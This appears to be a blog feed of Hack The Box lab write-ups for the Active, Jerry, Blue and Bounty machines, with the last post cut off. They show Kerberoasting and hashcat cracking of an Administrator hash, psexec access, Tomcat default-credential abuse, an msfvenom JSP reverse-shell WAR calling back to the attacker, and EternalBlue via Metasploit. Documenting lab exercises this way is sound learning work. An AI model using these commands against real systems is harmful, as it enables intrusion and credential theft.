&lt;li&gt;&lt;strong&gt;When you want to authenticate to a service using Kerberos:&lt;/strong&gt;
&lt;ol&gt;
&lt;li&gt;You contact the Domain Controller and say &quot;I want to talk to ServiceX&quot;&lt;/li&gt;
&lt;li&gt;The DC encrypts a response ticket using the service&apos;s password hash&lt;/li&gt;
&lt;li&gt;You&apos;re supposed to forward this ticket to the service&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;But in Kerberoasting, we take a detour:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Instead of sending the ticket to the service, we try to crack the encryption offline&lt;/li&gt;
&lt;li&gt;If we succeed, we get the service account&apos;s password!&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Most of the time you need an active domain account to start Kerberoasting&lt;/strong&gt;, but if the DC has &lt;a href=&quot;https://harmj0y.medium.com/roasting-as-reps-e6179a65216b&quot;&gt;&quot;Do not require Kerberos preauthentication&quot;&lt;/a&gt; enabled, you can get tickets without even having an account. It&apos;s like the security guard leaving the backdoor unlocked.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Getting the Hash&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;I&apos;ll use &lt;code&gt;impacket-GetUserSPNs&lt;/code&gt; to hunt for service accounts associated with regular users. It&apos;s like fishing for admin accounts:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;impacket-GetUserSPNs -request -dc-ip 10.10.10.100 active.htb/SVC_TGS -save -outputfile GetUserSPNs.out
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250521170902.png&quot; alt=&quot;Pasted image 20250521170902.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Jackpot! We found the Administrator account!&lt;/li&gt;
&lt;li&gt;Hash type: &lt;code&gt;Kerberos 5 TGS-REP etype 23&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$33896a188ef8c0ac270415aa464f2700$033ddece02c45d6cdf5dcbb0b8b840f547597db2d66c12ddd9ed70b85a5397285a8ece990722a0aaf98fd8bb7391986d9b47176f84cf4f487563e4cf9042dd872f8f86f3d6e142a5f83bd754509bbe891ce4e451539f6dbaa343b45fa5ed7dd93aec8232b3f2521fca6e3d77308e6d6b67de5e664e4e18128a8386f4caf8d0e1a9bb2d24503183daa7fee8567e184cb136b76095aad78fc075ffb0ce44d96bbf8603badf64a92fbce26da34ad4f1916dd8e8f0dcfef381072361bc087b2b52655e50fb7c8ee12aada18c6c71bac61ce74ee912dfb00d37fb6f9dcde80ca76df4a2d693b3c2bf8ca262ee6d6bdc38784fb59b57af97aa7ca01e7896ac970fd13de4cbbc0e5b956b593d1fe6aa7e13062bdeb02a29688f202a9c3e7023d8a7ddd6b6177952cb07e588118443f648f0a028652679a5ccdc0dd97eda01157be28c93d1b8c2a89486042355c44f24b33aea72b12b3682e1f50b554ab4adae9963ccbe635418b8fa8023340e28782108b02d427d0fa960fb171791330eb228d4ace8536344e56537843f15a71cb597d9603d2e0d53aa2c4294a2c8e39b6976090022d084a46cc3061df8b31a073eab6c9d9352e1abf7858400b4c8481354882041d5dd605327f631c92eecdd12af1811d614d997707b8a8bfa84db56b4277095fa25a0d309e726f39ce8abe6ebda96f2ccd0563fc64fdbe583abb1eee5611da8855ce857ba8490e3700bf894ef285ed6ddc51ac9fe2a33d919e9d2fecb33c339fce668db4c62a3225be525b4323af7d54898d3bc3257bcf7aca8d7007edd8bcb6c6b49ecf0ff0eb0e6e902ff738fa4f6a3266e37277794dd5f8af6dc54ea85f6fbc508bd6ac07a309c29599fd485e2fb42b01fd43da96307b689de4f58e4c6b4a37d202a6b6a0b897683c9ead74f11dc9910e0cfd524ff5cba7eb78a1e29d5ffa273b440837f82991b6a818399a336949cdbc7330c92912d3cfb93d08ca519a8ba45db4871b1d4dec73444187b0de23d0b55ab3374a5792e6ece543e2f08ce057dae78356fadc79ea1a1717473ec818d022c6d1d3816242b6c9c9aec6d2aa50a82e21cb1db893fc20fdfd95863a4bb6d7cc0d8e8c681fba98de5880ee3b902bb49f40b152639c4918b65262333149dcf477ee59ffbc0ab3d98a6cf35ad2023eeff90303b016d7aa616ed95262fa669ad7d2e6a2f6a527667ae4d5b517e3a6e61ee6dba22c6ddad1144d51888a368b086c3b2d0f07b4cdf95133e73a64d
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Time to transfer this hash to my host machine and crack it with &lt;code&gt;hashcat&lt;/code&gt;. It&apos;s like trying to guess someone&apos;s birthday based on their age:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;hashcat.exe -m 13100 -o cracked.txt -a 0 hash.txt H:Cyber_Stuff\rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250521171600.png&quot; alt=&quot;Pasted image 20250521171600.png&quot; /&gt;&lt;img src=&quot;images/Pasted_image_20250521171657.png&quot; alt=&quot;Pasted image 20250521171657.png&quot; /&gt;
&lt;img src=&quot;images/Pasted_image_20250521171757.png&quot; alt=&quot;Pasted image 20250521171757.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Cracked Administrator Password: Ticketmaster1968
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Ticketmaster1968&quot;? Sounds like someone&apos;s favorite concert booking service and birth year. Security teams hate this one simple trick!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Exploring SMB Shares with Administrator Credentials&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Now let&apos;s see what the boss has in their files:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;smbclient //10.10.10.100/Users -U active.htb\\Administrator%Ticketmaster1968 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250521172241.png&quot; alt=&quot;Pasted image 20250521172241.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Root Flag acquired! Mission accomplished:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;469fef3243dc891ed7390a978bcfbc09
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Getting System Shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Let&apos;s get a proper shell to celebrate our victory:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;impacket-psexec active.htb/administrator@10.10.10.100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250521172634.png&quot; alt=&quot;Pasted image 20250521172634.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And just like that, we&apos;re the kings of the Active Directory castle! Time to party like it&apos;s 1968! 🎉&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>HTB Machine Jerry May 2025</title><link>https://fuwari.vercel.app/posts/htb-machine-jerry/htb_machine_jerry/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/htb-machine-jerry/htb_machine_jerry/</guid><description>Writeup of HTB Jerry Machine.</description><pubDate>Tue, 20 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Scanning&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;nmap -sC -sV -T5 -oA nmap/initials 10.10.10.95 -Pn
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Nmap 7.94SVN scan initiated Tue May 20 15:50:47 2025 as: nmap -sC -sV -T5 -oA nmap/initials -Pn 10.10.10.95
Nmap scan report for 10.10.10.95 (10.10.10.95)
Host is up (0.17s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May 20 15:51:26 2025 -- 1 IP address (1 host up) scanned in 38.79 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Found port 8080 open running &lt;code&gt;Apache Tomcat 7.0.88&lt;/code&gt; with Coyote JSP engine 1.1&lt;/li&gt;
&lt;li&gt;Used &lt;code&gt;-Pn&lt;/code&gt; flag to skip host discovery as the target might be blocking ICMP ping packets&lt;/li&gt;
&lt;li&gt;The scan reveals this is a fairly isolated server with only the Tomcat service exposed&lt;/li&gt;
&lt;li&gt;Apache Tomcat 7.0.88 is relatively outdated, suggesting potential vulnerabilities&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Enumeration&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Accessing the web server at &lt;code&gt;http://10.10.10.95:8080&lt;/code&gt; presents the default Tomcat welcome page:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250520170205.png&quot; alt=&quot;Pasted image 20250520170205.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The welcome page shows links to various Tomcat applications, including the Tomcat Manager&lt;/li&gt;
&lt;li&gt;When attempting to access the &lt;code&gt;Manager App&lt;/code&gt;, I&apos;m prompted for authentication credentials&lt;/li&gt;
&lt;li&gt;First tried basic credentials:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Admin:Admin&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250520170610.png&quot; alt=&quot;Pasted image 20250520170610.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This attempt resulted in &quot;Access Denied&quot; - but interestingly, the error page reveals valid credentials in plain text!&lt;/li&gt;
&lt;li&gt;Hardcoded default credentials appear in the error message:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;tomcat:s3cret&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250520170406.png&quot; alt=&quot;Pasted image 20250520170406.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Using these credentials successfully grants access to the Tomcat Manager interface at &lt;code&gt;http://10.10.10.95:8080/manager/html&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250520170543.png&quot; alt=&quot;Pasted image 20250520170543.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The Manager interface provides complete control over deployed applications and server status&lt;/li&gt;
&lt;li&gt;This is a significant security weakness - administrative credentials should never be included in error messages&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250520170132.png&quot; alt=&quot;Pasted image 20250520170132.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Using &lt;code&gt;searchsploit&lt;/code&gt; to find known vulnerabilities for this Tomcat version:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250520165404.png&quot; alt=&quot;Pasted image 20250520165404.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Several vulnerabilities appear, including multiple paths for exploitation&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Technical Analysis of CVE-2009-3548&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The Apache Tomcat Manager application is vulnerable to &lt;code&gt;CVE-2009-3548&lt;/code&gt;, which is a &lt;code&gt;directory traversal vulnerability&lt;/code&gt;. This vulnerability specifically affects:
&lt;ul&gt;
&lt;li&gt;Apache Tomcat versions 6.0.0 to 6.0.20&lt;/li&gt;
&lt;li&gt;Apache Tomcat versions 5.5.0 to 5.5.28&lt;/li&gt;
&lt;li&gt;Apache Tomcat versions 4.1.0 to 4.1.39&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;While our target is running Tomcat 7.0.88, it&apos;s still vulnerable to similar attack vectors because of how the Manager application handles WAR file deployments.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Attack Vector Details&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Authentication Bypass&lt;/strong&gt;: The vulnerability originally allowed attackers to bypass authentication by using directory traversal sequences (&lt;code&gt;../&lt;/code&gt;) in URLs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WAR File Deployment&lt;/strong&gt;: In our case, we&apos;re using valid credentials, but exploiting the ability to deploy custom WAR (Web Application Archive) files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Execution Flow&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;A WAR file contains a web application that can be deployed to a Java servlet container&lt;/li&gt;
&lt;li&gt;When deployed, Tomcat extracts and executes the contents&lt;/li&gt;
&lt;li&gt;If we include malicious JSP code in our WAR file, it will execute with Tomcat&apos;s privileges&lt;/li&gt;
&lt;li&gt;Since Tomcat is typically running as a privileged user, this allows for remote code execution&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modern Exploitation&lt;/strong&gt;: While our target isn&apos;t vulnerable to the original CVE-2009-3548 directory traversal, the WAR file upload functionality presents a similar security risk that can be exploited through the Manager interface.&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;Exploitation using Metasploit&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;After confirming the vulnerability exists, I used Metasploit&apos;s &lt;code&gt;tomcat_mgr_upload&lt;/code&gt; module:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;use exploit/multi/http/tomcat_mgr_upload
set rhosts 10.10.10.95
set rport 8080
set lhost 10.10.16.2
set httpusername tomcat
set httppassword s3cret
exploit
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This module:
&lt;ol&gt;
&lt;li&gt;Authenticates to the Tomcat Manager interface&lt;/li&gt;
&lt;li&gt;Creates a malicious WAR file containing a JSP payload&lt;/li&gt;
&lt;li&gt;Uploads and deploys the WAR file&lt;/li&gt;
&lt;li&gt;Triggers the payload to establish a reverse shell&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250520165132.png&quot; alt=&quot;Pasted image 20250520165132.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Success! The module worked perfectly and provided a Meterpreter shell&lt;/li&gt;
&lt;li&gt;This demonstrates how dangerous exposed management interfaces can be, especially with default credentials&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Manual Exploitation&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;While Metasploit makes this easy, understanding the manual process is valuable for learning&lt;/li&gt;
&lt;li&gt;The Tomcat Manager interface provides a direct &quot;WAR file to deploy&quot; upload function:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250520165752.png&quot; alt=&quot;Pasted image 20250520165752.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;First, I created a custom payload using &lt;code&gt;msfvenom&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.16.2 lport=1337 -f war -o shell2.war
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This command:
&lt;ol&gt;
&lt;li&gt;Uses the &lt;code&gt;java/jsp_shell_reverse_tcp&lt;/code&gt; payload - a JSP-based reverse shell&lt;/li&gt;
&lt;li&gt;Sets my attacking machine as the callback destination&lt;/li&gt;
&lt;li&gt;Formats the output as a WAR file&lt;/li&gt;
&lt;li&gt;Names the output file &lt;code&gt;shell2.war&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250520165721.png&quot; alt=&quot;Pasted image 20250520165721.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After generating the payload, I uploaded it through the Manager interface&lt;/li&gt;
&lt;li&gt;The WAR file appears in the application list after successful deployment:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250520165833.png&quot; alt=&quot;Pasted image 20250520165833.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A WAR file&apos;s context path (URL) is typically the filename without the .war extension&lt;/li&gt;
&lt;li&gt;Starting a netcat listener to catch the reverse shell:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nc -lvnp 1337
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Then triggering the payload by accessing the deployed application:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250520165907.png&quot; alt=&quot;Pasted image 20250520165907.png&quot; /&gt; &lt;img src=&quot;images/Pasted_image_20250520165917.png&quot; alt=&quot;Pasted image 20250520165917.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Success! The shell connects back with SYSTEM privileges&lt;/li&gt;
&lt;li&gt;This demonstrates the severity of the vulnerability - direct command execution with the highest privilege level&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Understanding the WAR Payload&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The WAR file contains:
&lt;ol&gt;
&lt;li&gt;A deployment descriptor (&lt;code&gt;WEB-INF/web.xml&lt;/code&gt;) that defines the application structure&lt;/li&gt;
&lt;li&gt;JSP files that execute when accessed through the web server&lt;/li&gt;
&lt;li&gt;In our case, embedded Java code that creates a reverse TCP connection&lt;/li&gt;
&lt;li&gt;When executed, it runs with the same privileges as the Tomcat service (SYSTEM in this case)&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Getting Flags&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;With SYSTEM-level access, retrieving both user and root flags is trivial:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250520165319.png&quot; alt=&quot;Pasted image 20250520165319.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;lua&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;user.txt
7004dbcef0f854e0fb401875f26ebd00
root.txt
04a8b36e1545a455393d067e772fe90e
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>HTB Machine Blue May 2025</title><link>https://fuwari.vercel.app/posts/htb-machine-blue/htb_machine_blue/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/htb-machine-blue/htb_machine_blue/</guid><description>Writeup of HTB Blue Machine.</description><pubDate>Sat, 17 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Scanning&lt;/h1&gt;
&lt;h2&gt;Rustscan&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;rustscan -a 10.10.10.40 -r 1-65535 -b 100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250517164648.png&quot; alt=&quot;Pasted image 20250517164648.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Nmap Full Scan&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;nmap -sC -sV -T5 -oA nmap/initials 10.10.10.40 -Pn
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Nmap 7.94SVN scan initiated Sat May 17 16:32:23 2025 as: nmap -sC -sV -T5 -oA nmap/initials -Pn 10.10.10.40
Warning: 10.10.10.40 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.40
Host is up (0.26s latency).
Not shown: 532 closed tcp ports (conn-refused), 460 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -18m21s, deviation: 34m34s, median: 1m35s
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2025-05-17T12:07:01+01:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2025-05-17T11:06:58
|_  start_date: 2025-05-15T15:03:33
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 17 16:36:23 2025 -- 1 IP address (1 host up) scanned in 239.53 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The scan reveals several open ports, with SMB (445) being the most interesting target.&lt;/li&gt;
&lt;li&gt;The target is identified as Windows 7 Professional with Service Pack 1.&lt;/li&gt;
&lt;li&gt;Several concerning security configurations are observed:
&lt;ul&gt;
&lt;li&gt;SMB message signing is disabled (dangerous)&lt;/li&gt;
&lt;li&gt;Guest account is being used for authentication&lt;/li&gt;
&lt;li&gt;Authentication level is set to &quot;user&quot; rather than a more secure option&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Given the Windows 7 operating system and SMB configuration, this machine may be vulnerable to known SMB exploits.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Enumeration&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-17 17:05 IST
Nmap scan report for 10.10.10.40
Host is up (0.37s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds
Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Nmap done: 1 IP address (1 host up) scanned in 5.76 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Used Nmap&apos;s vulnerability scanning scripts to check for common SMB vulnerabilities.&lt;/li&gt;
&lt;li&gt;The target is confirmed vulnerable to MS17-010, also known as EternalBlue.&lt;/li&gt;
&lt;li&gt;This vulnerability allows for remote code execution with SYSTEM privileges on Windows systems.&lt;/li&gt;
&lt;li&gt;EternalBlue is particularly dangerous because it requires no authentication and can provide direct system-level access.&lt;/li&gt;
&lt;li&gt;The vulnerability was patched by Microsoft in March 2017, but many systems remain unpatched.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;EternalBlue (MS17-010) Vulnerability Explained&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;EternalBlue exploits a vulnerability in SMBv1&apos;s handling of specially crafted packets, allowing attackers to send malicious SMB messages to execute arbitrary code. The flaw exists in how the SMB server handles certain requests, enabling buffer overflow in the Windows kernel.&lt;/li&gt;
&lt;li&gt;This exploit became notorious as part of the WannaCry ransomware attack in 2017, affecting over 200,000 computers worldwide.&lt;/li&gt;
&lt;li&gt;Despite being patched, many systems remain vulnerable due to delayed patching or legacy system requirements.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;I used Metasploit for exploiting this vulnerability due to its reliability and ease of use.&lt;/li&gt;
&lt;li&gt;The specific module used was &lt;code&gt;exploit/windows/smb/ms17_010_eternalblue&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Configured the module with the target IP and appropriate payload settings.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250517171501.png&quot; alt=&quot;Pasted image 20250517171501.png&quot; /&gt; &lt;img src=&quot;images/Pasted_image_20250517171524.png&quot; alt=&quot;Pasted image 20250517171524.png&quot; /&gt; &lt;img src=&quot;images/Pasted_image_20250517174013.png&quot; alt=&quot;Pasted image 20250517174013.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Upon successful exploitation, gained immediate SYSTEM-level privileges.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This demonstrates the severity of the vulnerability - no user interaction required and immediate highest-level access obtained.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The exploitation process worked on the first attempt, indicating the target was highly vulnerable.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;User Flag:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;471a09faae9f0ade2aa13e768432be08
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250517174148.png&quot; alt=&quot;Pasted image 20250517174148.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Root Flag
&lt;img src=&quot;images/Pasted_image_20250517174244.png&quot; alt=&quot;Pasted image 20250517174244.png&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;c04174bbf3de303ee031b55c3acf1d0d
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>HTB Machine Bounty May 2025</title><link>https://fuwari.vercel.app/posts/htb-machine-bounty/htb_machine_bounty/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/htb-machine-bounty/htb_machine_bounty/</guid><description>Writeup of HTB Bounty Machine.</description><pubDate>Sat, 17 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Scanning&lt;/h1&gt;
&lt;h2&gt;Rustscan&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;rustscan -a 10.10.10.93 -r 1-1000 -b 100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250518141803.png&quot; alt=&quot;Pasted image 20250518141803.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;nmap -sC -sV -T5 -oA nmap/initials 10.10.10.93
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Nmap 7.94SVN scan initiated Sun May 18 14:03:44 2025 as: nmap -sC -sV -T5 -oA nmap/initials 10.10.10.93
Nmap scan report for 10.10.10.93
Host is up (0.21s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-title: Bounty
| http-methods: 
|_  Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 18 14:09:00 2025 -- 1 IP address (1 host up) scanned in 316.39 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Only port 80 is open with an IIS server.&lt;/li&gt;
&lt;li&gt;The IIS Server version (7.5) is very old, suggesting potential exploits might exist.&lt;/li&gt;
&lt;li&gt;The machine is likely running Windows based on the service information.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250518150637.png&quot; alt=&quot;Pasted image 20250518150637.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Enumeration&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;I performed directory discovery using &lt;code&gt;ffuf&lt;/code&gt; and found a directory called &lt;code&gt;uploadedfiles&lt;/code&gt; but encountered a 403 Access Denied error. This prompted me to search for bypass techniques.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;ffuf -u http://10.10.10.93/FUZZ -w /usr/share/wordlists/dirb/common.txt -t 150
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250518151418.png&quot; alt=&quot;Pasted image 20250518151418.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I discovered that there&apos;s an exploit for older versions of IIS that might help bypass access restrictions.&lt;/li&gt;
&lt;/ul&gt;
